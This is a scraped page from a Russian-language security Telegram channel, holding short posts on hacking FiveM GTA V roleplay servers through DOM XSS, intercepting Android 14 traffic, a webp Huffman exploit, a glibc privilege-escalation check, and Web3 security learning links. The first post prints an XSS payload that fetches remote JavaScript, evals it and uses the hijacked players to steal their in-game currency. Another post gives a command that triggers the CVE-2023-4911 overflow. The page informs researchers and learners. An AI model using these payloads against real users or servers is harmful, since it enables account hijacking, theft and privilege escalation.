Cybred
9.78K subscribers
402 photos
35 videos
100 files
611 links
Download Telegram
Hacking GTA V RP Servers Using Web Exploitation Techniques

FiveM - клиент для GTA 5, позволяющий убрать ограничения в виде отсутствия модификаций, которые раньше можно было установить только в сингл-плеер и молиться, чтобы случайно не запустить онлайн и не "словить" бан. Пришла новая эра, эра без привязки к серверам Social Club, эра без донатов и несуразных ограничений, эра, где старый-добрый онлайн заиграет новыми красками.

Мод для FiveM называется ресурсом. Серверная часть ресурсов пишется на LUA, клиентская — на Javascript. А любые кастомные окна рендерятся с помощью NUI — HTML-based интерфейса, который использует под собой Chromium Embedded Framework (CEF).

Все ресурсы открывается на одной странице в CEF (каждый — в своем Iframe). Автор нашел мод rcore_radiocar, который позволяет включить любой трек с Youtube и транслировать его игрокам поблизости (как будто они слышат музыку из проезжающей машины).

В rcore_radiocar нашлась классическая DOM XSS с помощью JQuery и метода append, который использовался, чтобы добавить указанный URL (в данном случае, ссылки на Youtube с треком) в DOM-дерево (напомню, никакой изоляции между ресурсами нет).

Достаточно было указать в качестве URL
<img src="#" onerror='fetch(`https://[redacted].com/payload.js`).then(res=>res.text().then(r=>eval(r)))' style="display:none" />
а в самом пэйлоаде — подключение к вебсокету, чтобы принимать коннекты от других игроков и отправлять им свои команды.

А дальше - играться с остальными ресурсами, которые установлены у подключившихся к сокету. Например, отправить от имени другого игрока сообщение в чат, повысить себе привилегии или переслать себе всю чужую валюту.
Начиная с Android 14, Google немного решили закрутить гайки и вместо привычного /system/etc/security/cacerts, все CA сертификаты будут загружаться из неизменяемого контейнера /apex/com.android.conscrypt/cacerts.

Это значит, что монтировать /system/ на RW и класть туда сертификаты, как это можно было делать в старых версиях Android, теперь бесполезно, а в новый каталог — невозможно.

Поэтому, если вы захотите перехватывать трафик на новых устройствах, придется следовать другому алгоритму:
1. Монтируем tmpfs в любую директорию (я буду использовать старую /system/) и закидываем туда сертификаты из APEX
mount -t tmpfs tmpfs /system/etc/security/cacerts
mv /apex/com.android.conscrypt/cacerts/* /system/etc/security/cacerts/
не забывая в конце туда же положить сертификат Portswigger или любой другой.
2. Используем nsenter, чтобы забиндить каждый новый процесс и заставить его ссылаться на нашу директорию в качестве APEX-контейнера
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- \
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts

Zygote порождает приложения, а мы его один раз перенастраиваем на использование новых неймспейсов, где в качестве неизменяемой директории APEX, — наша новая директория, которую мы можем редактировать.

для уже запущенных можно сделать так
nsenter --mount=/proc/$APP_PID/ns/mnt -- \
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts

Вуаля, теперь можно заворачивать и снифать трафик, как и раньше. Чтобы не мучиться каждый раз с вводом команд и поиском нужных PID, прикладываю готовый скрипт с комментариями.
https://github.com/redrays-io/WS_RaceCondition_PoC

Are there any race condition vulnerabilities in WebSockets in the wild?
Yes, a few critical race condition vulnerabilities have been detected in some cryptocurrency exchanges using WS API. These issues have been reported, and the exchanges subsequently fixed them.

По мотивам "Smashing the State Machine: the True Potential of Web Race Conditions" by James Kettle, кто-то решил сделать PoC для Race Condition на вебсокетах.
Forwarded from RUH8
С удовольствием прочитал в блоге Isosceles про новую уязвимость в webp. Ею пользуется NSO (они прекрасны!) и из-за неё недавно выходили срочные патчи у Apple и Google. В webp для сжатия используется Хаффман, добрый старина Хаффман, декодер для которого можно упихнуть в две-три строки: for (n = tree; n->left; n = getbit() == 0 ? n->left : n->right) ; *out++ = n->sym;

И в таком виде им никто никогда не пользуется потому что медленно. Программисты любят менять время на место и тоже самое можно сделать с помощью таблицы (zlib) или конечного автомата тоже с таблицей (zstd). Самый худший случай - вырожденное дерево, когда каждый следующий символ встречается ровно в два раза чаще, чем предыдущий. Создать такой файл естественным путем невозможно, для него не хватит места во вселенной, а вот дерево, которое его описывает вполне. Оно похоже на палку с занозами.

Его можно сплющить, чтобы уместиться в разумное количество памяти и снова обменять худшее сжатие, на возможность пользоваться таблицами. Самый простой способ просто разделить частоту каждого символа на два: f[i] = (f[i] + 1) / 2 есть и эвристические, и точные алгоритмы для этой задачи. В реальной жизни вес веток не равномерен, потому webp пользуется несколькими уровнями таблиц. Сперва прикидывает размеры (эта часть "украдена" в zlib), а потом записывает значения. CS точная наука, хуле.

NSO подсунули им деревце с частично вырожденными кусками, чтобы с одной стороны уложиться в лимиты по памяти, а с другой - добраться до самого нижнего пятого уровня вложенности таблиц и затем записать значение за границами выделенной памяти. Занятно, что патч который выкатил Google работает неправильно, но закрывает уязвимость. Он работает только потому, что делает два прогона по построению таблиц и в первый раз ничего не пишет, а только пересчитывает размеры и за счет этого отсеивает невалидные коды. С тем же успехом можно было и проверку границ включить. Очень торопились.

Дальше автор рассказывает про фаззинг (попытка накормить программу неверными значениями, чтобы найти баги). И такие баги невозможно найти фаззингом в принципе. Что как бы нам намекает на то, что даже если вы знаете цвет обложки учебника и код давно уже написан знающими людьми, строить софт из кубиков не получится. Даже у Эплла с Гуглом. NSO красавчики, увидеть отсутствие проверок и подстричь дерево кодов в форме осинового кола, для этого нужна и внимательность и большой опыт.
HITBSecConf или Hack In The Box Security Conference — это ежегодное мероприятие, которое является платформой для обсуждения и распространения вопросов кибербезопасности следующего поколения с передовыми хардкорными техническими докладами, проводимыми некоторыми из самых уважаемых имен в индустрии компьютерной безопасности.

Презентации:
An Ode to Rabbit Holes - Writing a New Decompiler Just for a Security Audit
Cracking the Shield - Analyzing and Reverse Engineering Antivirus Signatures
Timekiller - Leveraging Asynchronous Clock to Escape from QEMU KVM
A Practical Method of Finding Vulnerabilities in Internet of Things
Hacking into iOS VOLTE implementation
Hunting for Amazon Cognito Security Misconfigurations
Windows Kernel Security - A Deep Dive into Two Exploits Demonstrated at Pwn2Own
Building a Full-Speed Anti-Censorship Router
TSSHOCK – Breaking MPC Wallets and Digital Custodians
Breaking ML Services - Finding 0-days in Azure Machine Learning

Все остальное тут.
https://github.com/swoops/eval_villain

Простое, но полезное расширение, помогающее находить DOM XSS. Предупреждает в консоли обо всех вызовах функций, вроде innerHTML, document.write, eval, с передаваемыми в них параметрами.
Fuzz on the Beach: Fuzzing Solana Smart Contracts
Crypto in Conflict: How the role of cryptoassets has evolved in the Russia-Ukrainian War

Войны теперь документируются не только на бумаге, но и в блокчейне.
За какие уязвимости в смарт контрактах платят миллионы, от одного из основателей баг баунти площадки Immunefy:
https://www.youtube.com/watch?v=lJQwuyW4t-k

Так как Web3 стремительно развивается, хочу в этом же посте описать, с чего можно начать. А обучение стоит разбить на несколько этапов.

Изучаем основы блокчейна и разбираемся с Ethereum:
Mastering Ethereum
The Eth2 Book

Знакомимся с языком программирования Solidity и смарт-контрактами:
Solidity Documentation
Smart Contract Programmer
Secureum Solidity 101
Secureum Solidity 201

Переходим от слов к делу и начинаем практиковаться:
CryptoZombies
LearnWeb3
Smart Contract Engineer
Solidity by Example
Web3 University
useWeb3

Участвуем в CTF:
Capture the Ether
Security Innovation Blockchain CTF
Damn Vulnerable DeFi
The Ethernaut
GOAT Casino
ciphershastra CTF
Paradigm CTF
Blocksec CTFs
DeFiVulnLabs
Vulnmachines - Blockchain hacking
QuillCTF

И приступаем к поиску багов уже в реальных проектах. Кроме Immunefy, есть еще несколько площадок:
Hackenproof
Spearbit
Code4rena
Gitcoin
Sherlock
Hats Finance
The Saloon
HackerOne
The Art of Hiding in Windows

This article embarks on an exploration of the fascinating world of evading detection and maintaining covert operations within Windows environments. We delve into the techniques and strategies that have transformed hiding into a sophisticated art, from hiding processes to hiding files/folders, and offer invaluable insights into mastering the craft of concealment
https://tree-map.nycgovparks.org/

Интересная находка для осинтеров и не только. Карта всех деревьев в Нью-Йорке, составленная местной парковой службой. Вместе с волонтерами они разметили 861 304 (!) дерева во всем округе. У каждого есть снимок и краткое описание.

Цвет каждого круга на карте указывает на вид дерева, а его размер отражает диаметр.
https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt

Fedora 37 и 38, Ubuntu 22.04 и 23.04, Debian 12 и 13, и все остальные дистрибутивы, использующие Glibc.

Проверить у себя
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

UPD.: PoC https://github.com/leesh3288/CVE-2023-4911